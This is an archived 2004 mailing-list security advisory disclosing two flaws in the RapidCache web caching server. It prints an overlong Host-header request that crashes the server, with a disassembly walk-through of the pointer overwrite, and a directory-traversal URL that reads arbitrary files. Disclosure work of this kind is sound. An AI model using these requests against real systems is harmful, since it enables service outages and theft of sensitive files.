[VulnWatch] RapidCache Multiple Vulnerabilities

From: Peter Winter-Smith (peter4020_at_hotmail.com)
Date: 01/15/04

  • Next message: Paul Starzetz: "[VulnWatch] Linux kernel mremap() bug update"
    To: vulnwatch@vulnwatch.org
    Date: Thu, 15 Jan 2004 14:17:28 +0000
    
    

    RapidCache Multiple Vulnerabilities

    ###################################

    Credit:
    Author : Peter Winter-Smith

    Software:
    Packages : RapidCache
    Versions : 2.2.6 and below
    Vendor : Vicomsoft
    Vendor Url : http://www.vicomsoft.com/rapidcache/rapidcache.main.html

    Vulnerability:
    Bug Type : Denial of Service; Directory Traversal
    Severity : Moderately Critical

    1. Description of Software

        "RapidCache is a high performance web caching server that adds all
    of the advantages of caching to a network already connected to the
    Internet.
         RapidCache includes a powerful web caching server with concurrent
    caching and page delivery. Web browser-based administration is included,
    with a java-based graphical status monitor."
    - Vendor's Description

    2. Bug Information

    (a). Denial of Service Attack

    It seems possible to cause a remote RapidCache server to crash by issuing
    an overly long 'Host' argument as part of an HTTP GET request. An example
    of such a request is shown below (it may appear wrapped, please remove the
    excess linefeeds, etc):

    ---------------------------------------
    GET / HTTP/1.1
    Accept: */*..Accept-Language: en-gb
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0
    Host:
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
    bbbbbbbbbbbbbbbccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
    cccccddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
    dddddddddddddddddddddddddddddddddddddddddddddddddddddddeeeeeeeeeeeeBBBBXXX
    X:8080
    Connection: Keep-Alive

    ---------------------------------------

       (i) Analysis of the Vulnerable Code

    The crash is caused by the overwriting of a saved pointer (which points to
    the requested page header, 'GET / HTTP/1.1' in my case) with an arbitrary
    value.

    The function which overwrites the saved pointer is at 0042D580 in memory,
    and is called from 0042BE12:

    0042BE12 |. E8 69170000 CALL rapidcac.0042D580
    0042BE17 |> 8BCE MOV ECX,ESI

    Inside the function 0042D580, at the address 0042D614, we can see the
    dangerous instruction(s):

    0042D614 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

    Provided that a long enough 'Host' header has been supplied, the saved
    pointer should become completely overwritten!

    The dangerous function 0042D580 returns without a problem, and code
    execution continues until a call is made to the procedure 0042D620. Inside
    this procedure, at 0042D636, the value 2374h is added the ebp register,
    causing it to point to the overwritten saved pointer. Then at 0042D63E the
    overwritten pointer is moved into the eax register, which is used in a
    call to msvcrt.strcspn() (made from 0042D64C) as the 's1' argument.

    0042D636 |. 81C5 74230000 ADD EBP,2374
    0042D63C |. F2:AE REPNE SCAS BYTE PTR ES:[EDI]
    0042D63E |. 8B45 00 MOV EAX,DWORD PTR SS:[EBP]
    0042D641 |. 68 74144500 PUSH rapidcac.00451474 ; s2
    0042D646 |. F7D1 NOT ECX
    0042D648 |. 49 DEC ECX
    0042D649 |. 50 PUSH EAX ; s1
    0042D64A |. 8BF1 MOV ESI,ECX
    0042D64C |. FF15 5CB84300 CALL DWORD PTR DS:[<&MSVCRT.strcspn>]
    0042D652 |. 8B5D 00 MOV EBX,DWORD PTR SS:[EBP]

    Inside strcspn(), at offset 77C437F1, the value located at ebp+08h, a copy
    of the overwritten pointer, (our 's1' argument to strcspn()), is loaded
    into the esi register.

    77C437F1 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8]

    Moments later into the strcspn(), at the address 77C437F9, the function
    attempts to read data from the overwritten pointer into the al register.

    77C437F9 8A06 MOV AL,BYTE PTR DS:[ESI]

    If it is unable to open the address in the esi register, the application
    will cause an access violation and crash, denying any further service to
    users.

    (b). Directory Traversal Bug

    It appears that the Denial of Service bug is not the only flaw present
    in the RapidCache application. It is also very easy to view or download
    almost any file on the remote system simply by issuing a request similar
    to the following:

    http://127.0.0.1:8080/../../../../../../../../windows/win.ini

    This can allow the exposure of sensitive information, password files and
    so forth.

    3. Proof of Concept Code

    Nope.

    4. Patches - Workarounds

    No fixes are available as of 15/01/04.

    5. Credits

        The discovery, analysis and exploitation of this flaw is a result of
    research carried out by Peter Winter-Smith. I would ask that you do not
    regard any of the analysis to be 'set in stone', and that if investigating
    this flaw you back trace the steps detailed earlier for yourself.

    Greets and thanks to:
        David and Mark Litchfield, JJ Gray (Nexus), Todd and all the
    packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)),
    pv8man, nick k., Joel J. and Martine.

    o This document should be mirrored at:
        - http://www.elitehaven.net/rapidcache.txt

    _________________________________________________________________
    Express yourself with cool emoticons - download MSN Messenger today!
    http://www.msn.co.uk/messenger


  • Next message: Paul Starzetz: "[VulnWatch] Linux kernel mremap() bug update"

    Relevant Pages

    • RapidCache Multiple Vulnerabilities
      ... RapidCache Multiple Vulnerabilities ... Bug Type: ... The crash is caused by the overwriting of a saved pointer (which points to ...
      (Bugtraq)
    • Re: Incorrect time_t value from time() in signal handler
      ... you're doing this inside the timer signal function, ... overwriting the time value you got in other places. ... If you're careless about the pointer value you pass to time, ... Could it be a bug in your ...
      (comp.lang.c)